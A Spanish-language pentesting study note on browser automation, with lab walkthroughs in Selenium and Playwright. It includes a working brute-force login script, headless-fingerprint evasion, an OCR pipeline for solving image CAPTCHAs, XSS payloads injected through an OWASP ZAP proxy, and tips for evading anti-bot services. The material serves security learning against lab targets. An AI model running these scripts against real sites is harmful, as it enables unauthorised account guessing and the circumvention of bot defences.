Ataques y defensa

Automatización de navegador para pentesting

#browser-automation#brute-force#captcha-bypass#custom-tooling#ocr#owasp-zap#playwright#red-team#selenium

La automatización de navegador para pentesting consiste en usar herramientas como Selenium o Playwright para controlar un navegador real de forma programática, interactuando con…

Definición

La automatización de navegador para pentesting consiste en usar herramientas como Selenium o Playwright para controlar un navegador real de forma programática, interactuando con aplicaciones web exactamente como lo haría un usuario humano. El navegador ejecuta el JavaScript de la aplicación, gestiona cookies, tokens CSRF y el DOM dinámico, eliminando la necesidad de reingeniería inversa de la criptografía client-side.

Ventajas clave sobre proxies con plugins:

  • El navegador procesa todo el JS de la app (cifrado, CSRF tokens, DOM manipulations) automáticamente.
  • Permite bypassear muchos controles anti-bot porque simula interacciones reales.
  • Facilita flujos multi-step que requieren navegar por varias pantallas.

Relacionado: Custom Tooling via Burp, OWASP ZAP, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF)


Contexto

Cuándo usar automatización de navegador vs proxy+plugin

Situación Proxy + Plugin Browser Automation
Cifrado custom conocido ✓ (replica la lógica) ✓ (el browser lo hace)
Cifrado desconocido / complejo ✓ (navegador lo resuelve)
CSRF tokens dinámicos Complejo ✓ (transparente)
CAPTCHAs de imagen ✓ (OCR con Tesseract)
Flujos multi-step Complejo ✓ natural
Velocidad / performance Alta Media (overhead del browser)

Comparativa de herramientas de automatización

Herramienta Lenguajes Ventajas Limitaciones
Playwright Python, Java, C#, JS Rápido, multi-browser nativo Curva de aprendizaje algo mayor
Selenium Python, Java, C#, JS Gran comunidad, multi-browser Más lento, setup complejo
Puppeteer JavaScript API JS nativa para Chrome Solo Chrome oficialmente
Pyppeteer Python Wrapper Python de Puppeteer Deprecado recientemente
Power Automate Low-code Simula comportamiento visual Menos preciso, no cross-platform

Lab 1 — Brute Force con Selenium (CSRF transparente)

Escenario: App en http://TARGET/labs/lab1/ con CSRF token en cada request de login. El objetivo es brute force de la contraseña del usuario admin.

Ventaja Selenium: el navegador gestiona el CSRF token automáticamente en cada submit, sin necesidad de extraerlo y reenviarlo manualmente.

Configuración del navegador

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium_stealth import stealth
from fake_useragent import UserAgent
options = Options()
ua = UserAgent()
options.add_argument('--no-sandbox')
options.add_argument('--headless') # sin GUI
options.add_argument("start-maximized")
options.add_argument(f'user-agent={ua.random}')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-cache')
options.add_argument('--disable-gpu')
chrome = webdriver.Chrome(options=options)

Evasión de fingerprinting (selenium-stealth)

stealth(chrome,
languages=["en-US", "en"],
vendor="Google Inc.",
platform="Win32",
webgl_vendor="Intel Inc.",
renderer="Intel Iris OpenGL Engine",
fix_hairline=True,
)

selenium-stealth elimina señales que delatan el modo headless (navigator.webdriver, GPU fingerprint, etc.).

Lógica de brute force

passwords = ["123456", "admin", "letmein", "pass123", "password"]
login_url = "http://TARGET/labs/lab1/index.php"
dashboard_url = "http://TARGET/labs/lab1/dashboard.php"
for password in passwords:
chrome.get(login_url) # carga la página (genera nuevo CSRF token)
time.sleep(0.5)
chrome.find_element(By.NAME, "username").send_keys("admin")
chrome.find_element(By.NAME, "password").send_keys(password)
chrome.find_element(By.TAG_NAME, "form").submit() # envía con CSRF token automático
if dashboard_url in chrome.current_url:
print(f"[+] Password: {password}")
flag = chrome.find_element(By.TAG_NAME, "p").text.strip()
print(f"[+] {flag}")
break
else:
print(f"[-] Failed: {password}")

Lab 2 — CAPTCHA Bypass (Tesseract OCR + Pillow)

Escenario: App en http://TARGET/labs/lab2 con CAPTCHA alfanumérico de 5 caracteres (mayúsculas + dígitos) y CSRF. El CAPTCHA es una imagen PNG generada server-side.

Pipeline: screenshot del elemento <img> → preprocesado con Pillow → OCR con Tesseract → submit.

Librerías adicionales

from PIL import Image, ImageEnhance, ImageFilter
import pytesseract
import io

Paso 1: Capturar el CAPTCHA como PNG

captcha_img_element = chrome.find_element(By.TAG_NAME, "img")
captcha_png = captcha_img_element.screenshot_as_png # captura directamente del DOM

Paso 2: Preprocesado de imagen para maximizar OCR

image = Image.open(io.BytesIO(captcha_png)).convert("L") # 1. grayscale
image = image.resize((image.width * 2, image.height * 2),
Image.LANCZOS) # 2. upscale x2
image = image.filter(ImageFilter.SHARPEN) # 3. sharpening
image = ImageEnhance.Contrast(image).enhance(2.0) # 4. contraste x2
image = image.point(lambda x: 0 if x < 140 else 255, '1') # 5. binarización
Paso Técnica Objetivo
Grayscale .convert("L") Reducir canales; simplificar contraste
Upscale LANCZOS x2 Más píxeles = mejor OCR
Sharpening ImageFilter.SHARPEN Bordes de texto más nítidos
Contraste enhance(2.0) Aumentar diferencia fondo/texto
Binarización punto < 140 → negro Eliminar ruido de fondo

Paso 3: OCR con Tesseract

captcha_text = pytesseract.image_to_string(
image,
config='--psm 7 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ23456789'
).strip().replace(" ", "").replace("\n", "").upper()
  • --psm 7: modo “una sola línea de texto”.
  • tessedit_char_whitelist: restringe el alfabeto al del CAPTCHA (excluye 0, 1, O, I confusos).

Paso 4: Submit con el CAPTCHA resuelto

chrome.find_element(By.NAME, "username").send_keys(username)
chrome.find_element(By.NAME, "password").send_keys(password)
chrome.find_element(By.NAME, "captcha_input").send_keys(captcha_text)
chrome.find_element(By.TAG_NAME, "form").submit()

Lab 3 — Vulnerability Scanning con Playwright + OWASP ZAP API

Escenario: App de greeting personalizado en http://TARGET:5000/. Objetivo: inyectar payloads XSS a través de Playwright (proxy → ZAP) y generar un informe PDF de vulnerabilidades.

Arquitectura:

Playwright (Firefox headless) → proxy HTTP:8080 → ZAP → TARGET app

ZAP actúa como proxy pasivo/activo: intercepta el tráfico inyectado por Playwright y analiza vulnerabilidades.

Configuración previa en ZAP

  1. Tools → Options → Network → Local Proxy: address=localhost, port=8080.
  2. Tools → Options → API: copiar API key (e.g., kcsbj07b6u7hhii6h3b772ia90).

Script completo (play.py)

from playwright.sync_api import sync_playwright, Playwright
from zapv2 import ZAPv2, reports
import time, os, sys
ZAP_KEY = "kcsbj07b6u7hhii6h3b772ia90" # ajustar al entorno
PROXY = "http://localhost:8080"
TARGET_URL = "http://TARGET_IP:5000/"
xss_tests = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg/onload=alert('XSS')>",
"\"><script>alert('XSS')</script>",
]
def execute_automation(playwright: Playwright):
zap = ZAPv2(apikey=ZAP_KEY, proxies={'http': PROXY})
zap.core.new_session(name="xss_scan", overwrite=True)
browser = playwright.firefox.launch(headless=True)
context = browser.new_context(
ignore_https_errors=True,
proxy={"server": PROXY} # todo el tráfico pasa por ZAP
)
page = context.new_page()
for payload in xss_tests:
print(f"Injecting: {payload}")
page.once("dialog", lambda dialog: dialog.dismiss()) # cerrar alerts JS
page.goto(f"{TARGET_URL}?name={payload}") # inyección vía GET param
time.sleep(1)
# esperar a que ZAP termine el escaneo pasivo
while int(zap.pscan.records_to_scan) > 0:
time.sleep(1)
# generar informe PDF en el escritorio
zap_reporter = reports(zap)
zap_reporter.generate(
title="XSS Passive Scan Report",
template="traditional-pdf",
description="Automated XSS scan via Playwright",
reportfilename="zap_passive_silent_report.pdf",
reportdir=os.path.expanduser("~/Desktop"),
)
browser.close()
with sync_playwright() as pw:
execute_automation(pw)

Notas de uso:

  • page.once("dialog", ...): cierra alerts JS para que la automatización no se bloquee.
  • zap.pscan.records_to_scan: ZAP procesa el tráfico en background; el script espera a que termine.
  • El informe PDF incluye todos los findings (incluyendo headers faltantes, XSS reflejado, etc.).

Diagrama de flujo — CAPTCHA bypass pipeline

flowchart TD
    A[Selenium: chrome.get login_url] --> B[find_element img.screenshot_as_png]
    B --> C[Pillow: grayscale → upscale x2 → sharpen → contrast → binarize]
    C --> D[pytesseract --psm 7 whitelist=A-Z2-9]
    D --> E{OCR exitoso?}
    E -->|Sí| F[send_keys username + password + captcha_text]
    F --> G[form.submit]
    G --> H{dashboard_url in current_url?}
    H -->|Sí| I[Success: print flag]
    H -->|No| J[next password iteration]
    E -->|No / texto vacío| K[reintentar con nueva página]

Pitfalls

  • Tasa de acierto del OCR: Tesseract no es perfecto; CAPTCHAs con distorsión o ruido muy agresivo reducen el accuracy. Aumentar preprocesado (e.g., erosión/dilatación morfológica) puede mejorar resultados.
  • Detección por timing: Selenium sin selenium-stealth ni user-agent random es fácilmente detectado por herramientas anti-bot (Cloudflare, Distil, Akamai). Añadir delays aleatorios entre acciones.
  • Stale element references: Si el DOM se regenera entre find_element y send_keys, se lanza StaleElementReferenceException. Usar waits explícitos (WebDriverWait) en lugar de time.sleep() fijo.
  • ZAP API key: Si no se especifica la API key correcta, ZAP devuelve errores 403 o ignora los comandos. Verificar con curl http://localhost:8080/JSON/core/view/version/?apikey=TU_KEY.
  • CAPTCHA alternativo: Si el CAPTCHA es un reCAPTCHA v2/v3, Tesseract no sirve. Opciones: servicios de resolución de CAPTCHA (2captcha, anticaptcha) o inyección de cookie de sesión ya autenticada.
  • --no-sandbox en producción: Solo para entornos Docker/root. Nunca en browsers de producción.

Referencias

Título original en mis apuntes: Browser Automation for Pentesting